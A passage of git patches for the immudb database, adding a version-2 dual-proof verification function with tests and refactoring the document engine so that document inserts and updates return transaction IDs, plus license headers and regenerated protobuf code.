a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -753,13 +753,20 @@ func TestImmudbStoreEdgeCases(t *testing.T) { _, err = immuStore.DualProof(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) + _, err = immuStore.DualProofV2(nil, nil) + require.ErrorIs(t, err, ErrIllegalArguments) + sourceTx := NewTx(1, 1) sourceTx.header.ID = 2 targetTx := NewTx(1, 1) targetTx.header.ID = 1 + _, err = immuStore.DualProof(sourceTx.Header(), targetTx.Header()) require.ErrorIs(t, err, ErrSourceTxNewerThanTargetTx) + _, err = immuStore.DualProofV2(sourceTx.Header(), targetTx.Header()) + require.ErrorIs(t, err, ErrSourceTxNewerThanTargetTx) + _, err = immuStore.LinearProof(2, 1) require.ErrorIs(t, err, ErrSourceTxNewerThanTargetTx) @@ -1996,6 +2003,12 @@ func TestImmudbStoreConsistencyProof(t *testing.T) { verifies := VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.True(t, verifies) + + dproofV2, err := immuStore.DualProofV2(sourceTx.Header(), targetTx.Header()) + require.NoError(t, err) + + verifiesV2 := VerifyDualProofV2(dproofV2, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) + require.NoError(t, verifiesV2) } } } @@ -2052,6 +2065,12 @@ func TestImmudbStoreConsistencyProofAgainstLatest(t *testing.T) { verifies := VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.True(t, verifies) + + dproofV2, err := immuStore.DualProofV2(sourceTx.Header(), targetTx.Header()) + require.NoError(t, err) + + verifiesV2 := VerifyDualProofV2(dproofV2, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) + require.NoError(t, verifiesV2) } } @@ -2148,6 +2167,12 @@ func TestImmudbStoreConsistencyProofReopened(t *testing.T) { verifies = VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.True(t, verifies) + + dproofV2, err := immuStore.DualProofV2(sourceTx.Header(), targetTx.Header()) + require.NoError(t, err) + + verifiesV2 := VerifyDualProofV2(dproofV2, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) + require.NoError(t, verifiesV2) } } @@ -3388,6 +3413,12 @@ func TestBlTXOrdering(t *testing.T) { verifies := VerifyDualProof(proof, i, i+1, srcTxHeader.Alh(), dstTxHeader.Alh()) require.True(t, verifies) + + dproofV2, err := immuStore.DualProofV2(srcTxHeader, dstTxHeader) + require.NoError(t, err) + + verifiesV2 := VerifyDualProofV2(dproofV2, i, i+1, srcTxHeader.Alh(), dstTxHeader.Alh()) + require.NoError(t, verifiesV2) } }) diff --git a/embedded/store/verification.go b/embedded/store/verification.go index 85fd6d70c4..07b7f48f55 100644 --- a/embedded/store/verification.go +++ b/embedded/store/verification.go @@ -19,6 +19,7 @@ package store import ( "crypto/sha256" "encoding/binary" + "fmt" "github.com/codenotary/immudb/embedded/ahtree" "github.com/codenotary/immudb/embedded/htree" @@ -296,3 +297,73 @@ func EntrySpecDigest_v1(kv *EntrySpec) [sha256.Size]byte { return sha256.Sum256(b[:i]) } + +func VerifyDualProofV2(proof *DualProofV2, sourceTxID, targetTxID uint64, sourceAlh, targetAlh [sha256.Size]byte) error { + if proof == nil || + proof.SourceTxHeader == nil || + proof.TargetTxHeader == nil || + proof.SourceTxHeader.ID == 0 || + proof.SourceTxHeader.ID != sourceTxID || + proof.TargetTxHeader.ID != targetTxID { + return ErrIllegalArguments + } + + if sourceTxID > targetTxID { + return ErrSourceTxNewerThanTargetTx + } + + cSourceAlh := proof.SourceTxHeader.Alh() + if sourceAlh != cSourceAlh { + return ErrIllegalArguments + } + + cTargetAlh := proof.TargetTxHeader.Alh() + if targetAlh != cTargetAlh { + return ErrIllegalArguments + } + + if proof.SourceTxHeader.ID-1 != proof.SourceTxHeader.BlTxID || proof.TargetTxHeader.ID-1 != proof.TargetTxHeader.BlTxID { + return ErrUnexpectedLinkingError + } + + if sourceTxID == targetTxID { + return nil + } + + verifies := ahtree.VerifyInclusion( + proof.InclusionProof, + sourceTxID, + proof.TargetTxHeader.BlTxID, + leafFor(sourceAlh), + proof.TargetTxHeader.BlRoot, + ) + + if !verifies { + return fmt.Errorf("inclusion proof does NOT validate") + } + + if sourceTxID == 1 { + // corner case to validate the first transaction + // alh is empty when the digest of the first transaction is calculated + verifies = ahtree.VerifyConsistency( + proof.ConsistencyProof, + sourceTxID, + proof.TargetTxHeader.BlTxID, + leafFor(sourceAlh), + proof.TargetTxHeader.BlRoot, + ) + } else { + verifies = ahtree.VerifyConsistency( + proof.ConsistencyProof, + proof.SourceTxHeader.BlTxID, + proof.TargetTxHeader.BlTxID, + proof.SourceTxHeader.BlRoot, + proof.TargetTxHeader.BlRoot, + ) + } + if !verifies { + return fmt.Errorf("consistency proof does NOT validate") + } + + return nil +} From 9e510a65363dd1492dc122a05bc2e2db159211d4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 8 Apr 2023 18:12:53 -0300 Subject: [PATCH 0407/1062] chore(pkg/api): return txID when inserting or updating documents Signed-off-by: Jeronimo Irazabal --- embedded/document/document.go | 15 + embedded/document/document_id.go | 15 + embedded/document/document_id_test.go | 15 + embedded/document/document_test.go | 15 + embedded/document/engine.go | 143 +-- embedded/document/engine_test.go | 42 +- pkg/api/documentschema/docs.md | 22 +- pkg/api/documentschema/documentschema.pb.go | 892 ++++++++---------- pkg/api/documentschema/documentschema.proto | 25 +- .../documentschema.swagger.json | 18 +- pkg/database/document_database.go | 16 +- 11 files changed, 608 insertions(+), 610 deletions(-) diff --git a/embedded/document/document.go b/embedded/document/document.go index 0b1af8cb33..ba2c3cd6de 100644 --- a/embedded/document/document.go +++ b/embedded/document/document.go @@ -1,3 +1,18 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ package document import ( diff --git a/embedded/document/document_id.go b/embedded/document/document_id.go index fafd3a9962..baaa28434a 100644 --- a/embedded/document/document_id.go +++ b/embedded/document/document_id.go @@ -1,3 +1,18 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ package document import ( diff --git a/embedded/document/document_id_test.go b/embedded/document/document_id_test.go index 67ed7a6288..2581ed935c 100644 --- a/embedded/document/document_id_test.go +++ b/embedded/document/document_id_test.go @@ -1,3 +1,18 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ package document import ( diff --git a/embedded/document/document_test.go b/embedded/document/document_test.go index 1a1ee5ef91..4385044371 100644 --- a/embedded/document/document_test.go +++ b/embedded/document/document_test.go @@ -1,3 +1,18 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ package document import ( diff --git a/embedded/document/engine.go b/embedded/document/engine.go index eb1cec9c08..e04df6b5d5 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1,10 +1,24 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ package document import ( "bytes" "context" "encoding/binary" - "errors" "fmt" "github.com/codenotary/immudb/embedded/sql" @@ -123,10 +137,10 @@ func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { } type Engine struct { - *sql.Engine + sqlEngine *sql.Engine } -func (d *Engine) CreateCollection(ctx context.Context, collectionName string, idxKeys map[string]sql.SQLValueType) error { +func (e *Engine) CreateCollection(ctx context.Context, collectionName string, idxKeys map[string]sql.SQLValueType) error { primaryKeys := []string{defaultDocumentIDField} indexKeys := make([]string, 0) columns := make([]*sql.ColSpec, 0) @@ -148,7 +162,7 @@ func (d *Engine) CreateCollection(ctx context.Context, collectionName string, id } // add columns to collection - _, _, err := d.ExecPreparedStmts( + _, _, err := e.sqlEngine.ExecPreparedStmts( context.Background(), nil, []sql.SQLStmt{sql.NewCreateTableStmt( @@ -169,7 +183,7 @@ func (d *Engine) CreateCollection(ctx context.Context, collectionName string, id for _, idx := range indexKeys { sqlStmts = append(sqlStmts, sql.NewCreateIndexStmt(collectionName, []string{idx})) } - _, _, err = d.ExecPreparedStmts( + _, _, err = e.sqlEngine.ExecPreparedStmts( context.Background(), nil, sqlStmts, @@ -183,17 +197,17 @@ func (d *Engine) CreateCollection(ctx context.Context, collectionName string, id return nil } -func (d *Engine) CreateDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (DocumentID, error) { - tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) +func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (docID DocumentID, txID uint64, err error) { + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { - return NilDocumentID, err + return NilDocumentID, 0, err } defer tx.Cancel() // check if collection exists table, err := tx.Catalog().GetTableByName(collectionName) if err != nil { - return NilDocumentID, err + return NilDocumentID, 0, err } cols := make([]string, 0) @@ -207,12 +221,12 @@ func (d *Engine) CreateDocument(ctx context.Context, collectionName string, doc // check if document id is already present _, ok := doc.Fields[defaultDocumentIDField] if ok { - return NilDocumentID, fmt.Errorf("_id field is not allowed to be set") + return NilDocumentID, 0, fmt.Errorf("_id field is not allowed to be set") } // generate document id - lastPrecommittedTxID := d.GetStore().LastPrecommittedTxID() - docID := NewDocumentIDFromTx(lastPrecommittedTxID) + lastPrecommittedTxID := e.sqlEngine.GetStore().LastPrecommittedTxID() + docID = NewDocumentIDFromTx(lastPrecommittedTxID) values := make([]sql.ValueExp, 0) for _, col := range tcolumns { @@ -223,18 +237,18 @@ func (d *Engine) CreateDocument(ctx context.Context, collectionName string, doc case defaultDocumentBLOBField: document, err := NewDocumentFrom(doc) if err != nil { - return NilDocumentID, err + return NilDocumentID, 0, err } res, err := document.MarshalJSON() if err != nil { - return NilDocumentID, err + return NilDocumentID, 0, err } values = append(values, sql.NewBlob(res)) default: if rval, ok := doc.Fields[col.Name()]; ok { valType, err := valueTypeToExp(col.Type(), rval) if err != nil { - return NilDocumentID, err + return NilDocumentID, 0, err } values = append(values, valType) } @@ -246,7 +260,7 @@ func (d *Engine) CreateDocument(ctx context.Context, collectionName string, doc } // add document to collection - _, _, err = d.ExecPreparedStmts( + _, ctxs, err := e.sqlEngine.ExecPreparedStmts( ctx, nil, []sql.SQLStmt{ @@ -260,14 +274,14 @@ func (d *Engine) CreateDocument(ctx context.Context, collectionName string, doc nil, ) if err != nil { - return NilDocumentID, err + return NilDocumentID, 0, err } - return docID, nil + return docID, ctxs[0].TxHeader().ID, nil } -func (d *Engine) ListCollections(ctx context.Context) (map[string][]*sql.Index, error) { - tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) +func (e *Engine) ListCollections(ctx context.Context) (map[string][]*sql.Index, error) { + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } @@ -285,8 +299,8 @@ func (d *Engine) ListCollections(ctx context.Context) (map[string][]*sql.Index, return collectionMap, nil } -func (d *Engine) GetCollection(ctx context.Context, collectionName string) ([]*sql.Index, error) { - tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) +func (e *Engine) GetCollection(ctx context.Context, collectionName string) ([]*sql.Index, error) { + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } @@ -348,8 +362,8 @@ func (d *Engine) generateExp(ctx context.Context, collection string, expressions return result, nil } -func (d *Engine) getCollectionSchema(ctx context.Context, collection string) (map[string]*sql.Column, error) { - tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) +func (e *Engine) getCollectionSchema(ctx context.Context, collection string) (map[string]*sql.Column, error) { + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } @@ -364,8 +378,8 @@ func (d *Engine) getCollectionSchema(ctx context.Context, collection string) (ma return table.ColsByName(), nil } -func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries []*Query, pageNum int, itemsPerPage int) ([]*structpb.Struct, error) { - exp, err := d.generateExp(ctx, collectionName, queries) +func (e *Engine) GetDocument(ctx context.Context, collectionName string, queries []*Query, pageNum int, itemsPerPage int) ([]*structpb.Struct, error) { + exp, err := e.generateExp(ctx, collectionName, queries) if err != nil { return nil, err } @@ -383,7 +397,7 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries sql.NewInteger(int64(offset)), ) - r, err := d.QueryPreparedStmt(ctx, nil, op, nil) + r, err := e.sqlEngine.QueryPreparedStmt(ctx, nil, op, nil) if err != nil { return nil, err } @@ -425,7 +439,7 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries return results, nil } -func (d *Engine) getKey(ctx context.Context, tx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) { +func (e *Engine) getKeyForDocument(ctx context.Context, tx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) { table, err := tx.Catalog().GetTableByName(collectionName) if err != nil { return nil, err @@ -450,7 +464,7 @@ func (d *Engine) getKey(ctx context.Context, tx *sql.SQLTx, collectionName strin pkEncVals := valbuf.Bytes() searchKey = sql.MapKey( - d.GetPrefix(), + e.sqlEngine.GetPrefix(), sql.PIndexPrefix, sql.EncodeID(1), sql.EncodeID(table.ID()), @@ -462,25 +476,25 @@ func (d *Engine) getKey(ctx context.Context, tx *sql.SQLTx, collectionName strin } // DocumentAudit returns the audit history of a document. -func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, pageNum int, itemsPerPage int) ([]*Audit, error) { +func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, pageNum int, itemsPerPage int) ([]*Audit, error) { offset := (pageNum - 1) * itemsPerPage limit := itemsPerPage if offset < 0 || limit < 1 { return nil, fmt.Errorf("invalid offset or limit") } - tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } defer tx.Cancel() - searchKey, err := d.getKey(ctx, tx, collectionName, documentID) + searchKey, err := e.getKeyForDocument(ctx, tx, collectionName, documentID) if err != nil { return nil, err } - txs, _, err := d.GetStore().History(searchKey, uint64(offset), false, limit) + txs, _, err := e.sqlEngine.GetStore().History(searchKey, uint64(offset), false, limit) if err != nil { return nil, err } @@ -492,7 +506,7 @@ func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, docum results := make([]*Audit, 0) for i, txID := range txs { - res, err := d.getValueAt(searchKey, txID, false, uint64(i)+1) + res, err := e.getValueAt(searchKey, txID, false, uint64(i)+1) if err != nil { return nil, err } @@ -513,10 +527,15 @@ func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, docum } val, n, err := sql.DecodeValue(v[voff:], sql.BLOBType) + if err != nil { + return nil, err + } + if col.Name() == defaultDocumentBLOBField { res.Value = val.RawValue().([]byte) break } + voff += n } @@ -526,7 +545,7 @@ func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, docum return results, nil } -func (d *Engine) getValueAt( +func (e *Engine) getValueAt( key []byte, atTx uint64, skipIntegrityCheck bool, @@ -535,7 +554,7 @@ func (d *Engine) getValueAt( var txID uint64 var val []byte - index := d.GetStore() + index := e.sqlEngine.GetStore() if atTx == 0 { valRef, err := index.Get(key) if err != nil { @@ -553,7 +572,7 @@ func (d *Engine) getValueAt( revision = valRef.HC() } else { txID = atTx - _, val, err = d.readMetadataAndValue(key, atTx, skipIntegrityCheck) + _, val, err = e.readMetadataAndValue(key, atTx, skipIntegrityCheck) if err != nil { return nil, err } @@ -566,8 +585,8 @@ func (d *Engine) getValueAt( }, err } -func (d *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityCheck bool) (*store.KVMetadata, []byte, error) { - store := d.GetStore() +func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityCheck bool) (*store.KVMetadata, []byte, error) { + store := e.sqlEngine.GetStore() entry, _, err := store.ReadTxEntry(atTx, key, skipIntegrityCheck) if err != nil { return nil, nil, err @@ -581,24 +600,25 @@ func (d *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } -func (d *Engine) UpdateDocument(ctx context.Context, collectionName string, docID DocumentID, doc *structpb.Struct) (uint64, error) { +func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, docID DocumentID, doc *structpb.Struct) (txID, rev uint64, err error) { document, err := NewDocumentFrom(doc) if err != nil { - return 0, err + return 0, 0, err } + res, err := document.MarshalJSON() if err != nil { - return 0, err + return 0, 0, err } - tx, err := d.NewTx(ctx, sql.DefaultTxOptions()) + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) if err != nil { - return 0, err + return 0, 0, err } defer tx.Cancel() // update document in collection - _, ctxs, err := d.ExecPreparedStmts( + _, ctxs, err := e.sqlEngine.ExecPreparedStmts( ctx, tx, []sql.SQLStmt{ @@ -614,36 +634,33 @@ func (d *Engine) UpdateDocument(ctx context.Context, collectionName string, docI nil, ) if err != nil { - return 0, err - } - if len(ctxs) == 0 { - return 0, errors.New("transaction failed during document update") + return 0, 0, err } - // wait for indexing to catch up to ensure we can read the document from the index committedTx := ctxs[0] - err = d.GetStore().WaitForIndexingUpto(ctx, committedTx.TxHeader().ID) + + err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, committedTx.TxHeader().ID) if err != nil { - return 0, err + return 0, 0, err } - searchKey, err := d.getKey(ctx, tx, collectionName, docID) + searchKey, err := e.getKeyForDocument(ctx, tx, collectionName, docID) if err != nil { - return 0, err + return 0, 0, err } - auditLog, err := d.getValueAt(searchKey, 0, false, 0) + auditLog, err := e.getValueAt(searchKey, 0, false, 0) if err != nil { - return 0, err + return 0, 0, err } - return auditLog.Revision, nil + return committedTx.TxHeader().ID, auditLog.Revision, nil } // DeleteCollection deletes a collection. -func (d *Engine) DeleteCollection(ctx context.Context, collectionName string) error { +func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) error { // delete collection from catalog - _, ctxs, err := d.ExecPreparedStmts( + _, ctxs, err := e.sqlEngine.ExecPreparedStmts( ctx, nil, []sql.SQLStmt{ @@ -658,7 +675,7 @@ func (d *Engine) DeleteCollection(ctx context.Context, collectionName string) er // wait for the transaction to be committed to ensure the collection is deleted from the catalog committedTx := ctxs[0] - err = d.GetStore().WaitForIndexingUpto(ctx, committedTx.TxHeader().ID) + err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, committedTx.TxHeader().ID) if err != nil { return err } @@ -666,7 +683,7 @@ func (d *Engine) DeleteCollection(ctx context.Context, collectionName string) er return nil } -func (d *Engine) UpdateCollection(ctx context.Context, collectionName string, addIdxKeys map[string]sql.SQLValueType, removeIdxKeys []string) error { +func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, addIdxKeys map[string]sql.SQLValueType, removeIdxKeys []string) error { indexKeys := make([]string, 0) updateCollectionStmts := make([]sql.SQLStmt, 0) @@ -687,7 +704,7 @@ func (d *Engine) UpdateCollection(ctx context.Context, collectionName string, ad updateCollectionStmts = append(updateCollectionStmts, sql.NewCreateIndexStmt(collectionName, []string{idx})) } - _, _, err := d.ExecPreparedStmts( + _, _, err := e.sqlEngine.ExecPreparedStmts( context.Background(), nil, updateCollectionStmts, @@ -705,7 +722,7 @@ func (d *Engine) UpdateCollection(ctx context.Context, collectionName string, ad deleteIdxStmts = append(deleteIdxStmts, sql.NewDropIndexStmt(collectionName, idx)) } - _, _, err := d.ExecPreparedStmts( + _, _, err := e.sqlEngine.ExecPreparedStmts( context.Background(), nil, deleteIdxStmts, diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 7cf845f1db..e9c49d2c19 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -1,3 +1,18 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ package document import ( @@ -8,7 +23,6 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" - schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) @@ -93,7 +107,7 @@ func TestCreateCollection(t *testing.T) { ) require.ErrorIs(t, err, sql.ErrTableAlreadyExists) - catalog, err := engine.Catalog(context.Background(), nil) + catalog, err := engine.sqlEngine.Catalog(context.Background(), nil) require.NoError(t, err) table, err := catalog.GetTableByName(collectionName) @@ -137,10 +151,6 @@ func TestCreateCollection(t *testing.T) { require.Equal(t, 4, indexKeyCount) } -func newIndexOption(indexType schemav2.IndexType) *schemav2.IndexOption { - return &schemav2.IndexOption{Type: indexType} -} - func TestGetDocument(t *testing.T) { engine := makeEngine(t) @@ -155,7 +165,7 @@ func TestGetDocument(t *testing.T) { require.NoError(t, err) // add document to collection - _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: 2}, @@ -216,7 +226,7 @@ func TestDocumentAudit(t *testing.T) { require.NoError(t, err) // add document to collection - docID, err := engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + docID, _, err := engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: 2}, @@ -235,7 +245,7 @@ func TestDocumentAudit(t *testing.T) { }) require.NoError(t, err) - revision, err := engine.UpdateDocument(context.Background(), collectionName, docID, &structpb.Struct{ + _, revision, err := engine.UpdateDocument(context.Background(), collectionName, docID, &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: 2}, @@ -284,7 +294,7 @@ func TestQueryDocument(t *testing.T) { // add documents to collection for i := 1.0; i <= 10; i++ { - _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: i}, @@ -463,7 +473,7 @@ func TestDocumentUpdate(t *testing.T) { require.NoError(t, err) // add document to collection - docID, err := engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + docID, _, err := engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": { Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, @@ -479,7 +489,7 @@ func TestDocumentUpdate(t *testing.T) { }) require.NoError(t, err) - revision, err := engine.UpdateDocument(context.Background(), collectionName, docID, &structpb.Struct{ + _, revision, err := engine.UpdateDocument(context.Background(), collectionName, docID, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": { Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, @@ -532,7 +542,7 @@ func TestFloatSupport(t *testing.T) { ) require.NoError(t, err) - catalog, err := engine.Catalog(context.Background(), nil) + catalog, err := engine.sqlEngine.Catalog(context.Background(), nil) require.NoError(t, err) table, err := catalog.GetTableByName(collectionName) @@ -544,7 +554,7 @@ func TestFloatSupport(t *testing.T) { require.Equal(t, sql.Float64Type, col.Type()) // add document to collection - _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": { Kind: &structpb.Value_NumberValue{NumberValue: 3.1}, @@ -590,7 +600,7 @@ func TestDeleteCollection(t *testing.T) { // add documents to collection for i := 1.0; i <= 10; i++ { - _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "idx": { Kind: &structpb.Value_NumberValue{NumberValue: i}, @@ -604,7 +614,7 @@ func TestDeleteCollection(t *testing.T) { err = engine.DeleteCollection(context.Background(), collectionName) require.NoError(t, err) - _, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM mycollection", nil) + _, err := engine.sqlEngine.Query(context.Background(), nil, "SELECT COUNT(*) FROM mycollection", nil) require.ErrorIs(t, err, sql.ErrTableDoesNotExist) collectionList, err := engine.ListCollections(context.Background()) diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index efa1d4f063..29f7aa56e8 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -32,7 +32,6 @@ - [DocumentUpdateResponse](#immudb.documentschema.DocumentUpdateResponse) - [IndexOption](#immudb.documentschema.IndexOption) - [IndexValue](#immudb.documentschema.IndexValue) - - [Proof](#immudb.documentschema.Proof) - [IndexType](#immudb.documentschema.IndexType) - [QueryOperator](#immudb.documentschema.QueryOperator) @@ -266,7 +265,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | value | [google.protobuf.Struct](#google.protobuf.Struct) | | | -| transactionID | [uint64](#uint64) | | | +| transactionId | [uint64](#uint64) | | | | revision | [uint64](#uint64) | | | @@ -334,8 +333,8 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| proof | [immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | | | documentId | [string](#string) | | | +| transactionId | [uint64](#uint64) | | | @@ -452,8 +451,8 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| proof | [immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | | | revision | [uint64](#uint64) | | | +| transactionId | [uint64](#uint64) | | | @@ -493,21 +492,6 @@ - - - -### Proof - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | - - - - - diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 34eb1bc10e..1b673aa419 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -16,19 +16,18 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 -// protoc v3.21.9 +// protoc v3.11.4 // source: documentschema.proto package documentschema import ( schema "github.com/codenotary/immudb/pkg/api/schema" + _struct "github.com/golang/protobuf/ptypes/struct" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" - _ "google.golang.org/protobuf/types/known/emptypb" - structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" ) @@ -155,8 +154,8 @@ type DocumentInsertRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document *_struct.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentInsertRequest) Reset() { @@ -198,7 +197,7 @@ func (x *DocumentInsertRequest) GetCollection() string { return "" } -func (x *DocumentInsertRequest) GetDocument() *structpb.Struct { +func (x *DocumentInsertRequest) GetDocument() *_struct.Struct { if x != nil { return x.Document } @@ -210,8 +209,8 @@ type DocumentInsertResponse struct { sizeCache 